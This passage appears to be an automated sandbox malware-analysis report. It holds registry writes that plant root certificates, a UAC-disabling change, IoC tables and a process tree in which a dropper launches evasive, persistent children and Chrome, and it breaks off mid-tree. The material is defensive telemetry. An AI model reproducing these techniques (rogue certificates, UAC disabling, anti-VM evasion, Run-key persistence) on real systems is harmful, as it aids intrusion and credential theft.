893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e	ciXxh3tOmcDJOOlsnGAePy0Q.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 5c000000010000000400000000100000190000000100000010000000ffac207997bb2cfe865570179ee037b9030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e41d0000000100000010000000a86dc6a233eb339610f3ed414927c559140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac899880b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e199604000000010000001000000078f2fcaa601f2fb4ebc937ba532e75492000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e	ciXxh3tOmcDJOOlsnGAePy0Q.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	keks.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	keks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3448	13c166b0e9e11748346e136c35d3d5b345a1d419a04d87c7e3f33ba839491e34.exe
3448	13c166b0e9e11748346e136c35d3d5b345a1d419a04d87c7e3f33ba839491e34.exe
5036	explorta.exe
5036	explorta.exe
4672	amert.exe
4672	amert.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
3876	c186c6bab0.exe
3876	c186c6bab0.exe
4756	chrosha.exe
4756	chrosha.exe
4784	explorta.exe
4784	explorta.exe
4632	trf.exe
4632	trf.exe
4632	trf.exe
4632	trf.exe
4632	trf.exe
4632	trf.exe
4632	trf.exe
4632	trf.exe
4632	trf.exe
4632	trf.exe
4632	trf.exe
4632	trf.exe
4632	trf.exe
4632	trf.exe
4632	trf.exe
4632	trf.exe
4632	trf.exe
4632	trf.exe
4632	trf.exe
4632	trf.exe
5592	rundll32.exe
5592	rundll32.exe
5592	rundll32.exe
5592	rundll32.exe
5592	rundll32.exe
5592	rundll32.exe
4276	keks.exe
4276	keks.exe
4276	keks.exe
4276	keks.exe
4276	keks.exe
4276	keks.exe
4276	keks.exe
4276	keks.exe
4276	keks.exe
4276	keks.exe
4276	keks.exe
4276	keks.exe
4276	keks.exe
4276	keks.exe
4276	keks.exe
4276	keks.exe
5592	rundll32.exe
5592	rundll32.exe
5592	rundll32.exe
5592	rundll32.exe
5852	powershell.exe
5852	powershell.exe
5852	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1116	chrome.exe
Token: SeCreatePagefilePrivilege	1116	chrome.exe
Token: SeShutdownPrivilege	1116	chrome.exe
Token: SeCreatePagefilePrivilege	1116	chrome.exe
Token: SeShutdownPrivilege	1116	chrome.exe
Token: SeCreatePagefilePrivilege	1116	chrome.exe
Token: SeShutdownPrivilege	1116	chrome.exe
Token: SeCreatePagefilePrivilege	1116	chrome.exe
Token: SeShutdownPrivilege	1116	chrome.exe
Token: SeCreatePagefilePrivilege	1116	chrome.exe
Token: SeShutdownPrivilege	1116	chrome.exe
Token: SeCreatePagefilePrivilege	1116	chrome.exe
Token: SeShutdownPrivilege	1116	chrome.exe
Token: SeCreatePagefilePrivilege	1116	chrome.exe
Token: SeShutdownPrivilege	1116	chrome.exe
Token: SeCreatePagefilePrivilege	1116	chrome.exe
Token: SeShutdownPrivilege	1116	chrome.exe
Token: SeCreatePagefilePrivilege	1116	chrome.exe
Token: SeShutdownPrivilege	1116	chrome.exe
Token: SeCreatePagefilePrivilege	1116	chrome.exe
Token: SeShutdownPrivilege	1116	chrome.exe
Token: SeCreatePagefilePrivilege	1116	chrome.exe
Token: SeShutdownPrivilege	1116	chrome.exe
Token: SeCreatePagefilePrivilege	1116	chrome.exe
Token: SeShutdownPrivilege	1116	chrome.exe
Token: SeCreatePagefilePrivilege	1116	chrome.exe
Token: SeShutdownPrivilege	1116	chrome.exe
Token: SeCreatePagefilePrivilege	1116	chrome.exe
Token: SeShutdownPrivilege	1116	chrome.exe
Token: SeCreatePagefilePrivilege	1116	chrome.exe
Token: SeShutdownPrivilege	1116	chrome.exe
Token: SeCreatePagefilePrivilege	1116	chrome.exe
Token: SeShutdownPrivilege	1116	chrome.exe
Token: SeCreatePagefilePrivilege	1116	chrome.exe
Token: SeShutdownPrivilege	1116	chrome.exe
Token: SeCreatePagefilePrivilege	1116	chrome.exe
Token: SeShutdownPrivilege	1116	chrome.exe
Token: SeCreatePagefilePrivilege	1116	chrome.exe
Token: SeShutdownPrivilege	1116	chrome.exe
Token: SeCreatePagefilePrivilege	1116	chrome.exe
Token: SeShutdownPrivilege	1116	chrome.exe
Token: SeCreatePagefilePrivilege	1116	chrome.exe
Token: SeShutdownPrivilege	1116	chrome.exe
Token: SeCreatePagefilePrivilege	1116	chrome.exe
Token: SeShutdownPrivilege	1116	chrome.exe
Token: SeCreatePagefilePrivilege	1116	chrome.exe
Token: SeShutdownPrivilege	1116	chrome.exe
Token: SeCreatePagefilePrivilege	1116	chrome.exe
Token: SeShutdownPrivilege	1116	chrome.exe
Token: SeCreatePagefilePrivilege	1116	chrome.exe
Token: SeShutdownPrivilege	1116	chrome.exe
Token: SeCreatePagefilePrivilege	1116	chrome.exe
Token: SeShutdownPrivilege	1116	chrome.exe
Token: SeCreatePagefilePrivilege	1116	chrome.exe
Token: SeShutdownPrivilege	1116	chrome.exe
Token: SeCreatePagefilePrivilege	1116	chrome.exe
Token: SeShutdownPrivilege	1116	chrome.exe
Token: SeCreatePagefilePrivilege	1116	chrome.exe
Token: SeShutdownPrivilege	1116	chrome.exe
Token: SeCreatePagefilePrivilege	1116	chrome.exe
Token: SeShutdownPrivilege	1116	chrome.exe
Token: SeCreatePagefilePrivilege	1116	chrome.exe
Token: SeShutdownPrivilege	1116	chrome.exe
Token: SeCreatePagefilePrivilege	1116	chrome.exe

Suspicious use of FindShellTrayWindow 63 IoCs

pid	Process
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
4532	4bbe4479d5.exe
1116	chrome.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe

Suspicious use of SendNotifyMessage 48 IoCs

pid	Process
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
1116	chrome.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe
4532	4bbe4479d5.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3448 wrote to memory of 5036	3448	13c166b0e9e11748346e136c35d3d5b345a1d419a04d87c7e3f33ba839491e34.exe	78
PID 3448 wrote to memory of 5036	3448	13c166b0e9e11748346e136c35d3d5b345a1d419a04d87c7e3f33ba839491e34.exe	78
PID 3448 wrote to memory of 5036	3448	13c166b0e9e11748346e136c35d3d5b345a1d419a04d87c7e3f33ba839491e34.exe	78
PID 5036 wrote to memory of 2212	5036	explorta.exe	79
PID 5036 wrote to memory of 2212	5036	explorta.exe	79
PID 5036 wrote to memory of 2212	5036	explorta.exe	79
PID 5036 wrote to memory of 4672	5036	explorta.exe	80
PID 5036 wrote to memory of 4672	5036	explorta.exe	80
PID 5036 wrote to memory of 4672	5036	explorta.exe	80
PID 5036 wrote to memory of 4532	5036	explorta.exe	81
PID 5036 wrote to memory of 4532	5036	explorta.exe	81
PID 5036 wrote to memory of 4532	5036	explorta.exe	81
PID 4532 wrote to memory of 1116	4532	4bbe4479d5.exe	82
PID 4532 wrote to memory of 1116	4532	4bbe4479d5.exe	82
PID 1116 wrote to memory of 4344	1116	chrome.exe	85
PID 1116 wrote to memory of 4344	1116	chrome.exe	85
PID 1116 wrote to memory of 3268	1116	chrome.exe	86
PID 1116 wrote to memory of 3268	1116	chrome.exe	86
PID 1116 wrote to memory of 3268	1116	chrome.exe	86
PID 1116 wrote to memory of 3268	1116	chrome.exe	86
PID 1116 wrote to memory of 3268	1116	chrome.exe	86
PID 1116 wrote to memory of 3268	1116	chrome.exe	86
PID 1116 wrote to memory of 3268	1116	chrome.exe	86
PID 1116 wrote to memory of 3268	1116	chrome.exe	86
PID 1116 wrote to memory of 3268	1116	chrome.exe	86
PID 1116 wrote to memory of 3268	1116	chrome.exe	86
PID 1116 wrote to memory of 3268	1116	chrome.exe	86
PID 1116 wrote to memory of 3268	1116	chrome.exe	86
PID 1116 wrote to memory of 3268	1116	chrome.exe	86
PID 1116 wrote to memory of 3268	1116	chrome.exe	86
PID 1116 wrote to memory of 3268	1116	chrome.exe	86
PID 1116 wrote to memory of 3268	1116	chrome.exe	86
PID 1116 wrote to memory of 3268	1116	chrome.exe	86
PID 1116 wrote to memory of 3268	1116	chrome.exe	86
PID 1116 wrote to memory of 3268	1116	chrome.exe	86
PID 1116 wrote to memory of 3268	1116	chrome.exe	86
PID 1116 wrote to memory of 3268	1116	chrome.exe	86
PID 1116 wrote to memory of 3268	1116	chrome.exe	86
PID 1116 wrote to memory of 3268	1116	chrome.exe	86
PID 1116 wrote to memory of 3268	1116	chrome.exe	86
PID 1116 wrote to memory of 3268	1116	chrome.exe	86
PID 1116 wrote to memory of 3268	1116	chrome.exe	86
PID 1116 wrote to memory of 3268	1116	chrome.exe	86
PID 1116 wrote to memory of 3268	1116	chrome.exe	86
PID 1116 wrote to memory of 3268	1116	chrome.exe	86
PID 1116 wrote to memory of 3268	1116	chrome.exe	86
PID 1116 wrote to memory of 3268	1116	chrome.exe	86
PID 1116 wrote to memory of 1488	1116	chrome.exe	87
PID 1116 wrote to memory of 1488	1116	chrome.exe	87
PID 1116 wrote to memory of 3084	1116	chrome.exe	88
PID 1116 wrote to memory of 3084	1116	chrome.exe	88
PID 1116 wrote to memory of 3084	1116	chrome.exe	88
PID 1116 wrote to memory of 3084	1116	chrome.exe	88
PID 1116 wrote to memory of 3084	1116	chrome.exe	88
PID 1116 wrote to memory of 3084	1116	chrome.exe	88
PID 1116 wrote to memory of 3084	1116	chrome.exe	88
PID 1116 wrote to memory of 3084	1116	chrome.exe	88
PID 1116 wrote to memory of 3084	1116	chrome.exe	88
PID 1116 wrote to memory of 3084	1116	chrome.exe	88
PID 1116 wrote to memory of 3084	1116	chrome.exe	88
PID 1116 wrote to memory of 3084	1116	chrome.exe	88
PID 1116 wrote to memory of 3084	1116	chrome.exe	88
PID 1116 wrote to memory of 3084	1116	chrome.exe	88
PID 1116 wrote to memory of 3084	1116	chrome.exe	88

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file300un.exe

C:\Users\Admin\AppData\Local\Temp\13c166b0e9e11748346e136c35d3d5b345a1d419a04d87c7e3f33ba839491e34.exe
"C:\Users\Admin\AppData\Local\Temp\13c166b0e9e11748346e136c35d3d5b345a1d419a04d87c7e3f33ba839491e34.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3448
- C:\Users\Admin\AppData\Local\Temp\5454e6f062\explorta.exe
  "C:\Users\Admin\AppData\Local\Temp\5454e6f062\explorta.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Adds Run key to start application
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5036
- - C:\Users\Admin\AppData\Local\Temp\5454e6f062\explorta.exe
    "C:\Users\Admin\AppData\Local\Temp\5454e6f062\explorta.exe"
    3⤵
    PID:2212
- - C:\Users\Admin\AppData\Local\Temp\1000015001\amert.exe
    "C:\Users\Admin\AppData\Local\Temp\1000015001\amert.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    PID:4672
- - C:\Users\Admin\AppData\Local\Temp\1000016001\4bbe4479d5.exe
    "C:\Users\Admin\AppData\Local\Temp\1000016001\4bbe4479d5.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:4532
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
      4⤵
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:1116
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x100,0x104,0x108,0xe0,0x10c,0x7ffc2ff8ab58,0x7ffc2ff8ab68,0x7ffc2ff8ab78
        5⤵
        
        PID:4344
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1660 --field-trial-handle=1812,i,17110480228453307378,3955002996642239701,131072 /prefetch:2
        5⤵
        
        PID:3268
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=1812,i,17110480228453307378,3955002996642239701,131072 /prefetch:8
        5⤵
        
        PID:1488
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2136 --field-trial-handle=1812,i,17110480228453307378,3955002996642239701,131072 /prefetch:8
        5⤵
        
        PID:3084
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3060 --field-trial-handle=1812,i,17110480228453307378,3955002996642239701,131072 /prefetch:1
        5⤵
        
        PID:4856
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3080 --field-trial-handle=1812,i,17110480228453307378,3955002996642239701,131072 /prefetch:1
        5⤵
        
        PID:1272
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4288 --field-trial-handle=1812,i,17110480228453307378,3955002996642239701,131072 /prefetch:1
        5⤵
        
        PID:1568
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=4480 --field-trial-handle=1812,i,17110480228453307378,3955002996642239701,131072 /prefetch:1
        5⤵
        
        PID:2332
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4584 --field-trial-handle=1812,i,17110480228453307378,3955002996642239701,131072 /prefetch:8
        5⤵
        
        PID:1484
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3296 --field-trial-handle=1812,i,17110480228453307378,3955002996642239701,131072 /prefetch:8
        5⤵
        Modifies registry class
        
        PID:2180
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4868 --field-trial-handle=1812,i,17110480228453307378,3955002996642239701,131072 /prefetch:8
        5⤵
        
        PID:4756
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5036 --field-trial-handle=1812,i,17110480228453307378,3955002996642239701,131072 /prefetch:8
        5⤵
        
        PID:2300
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
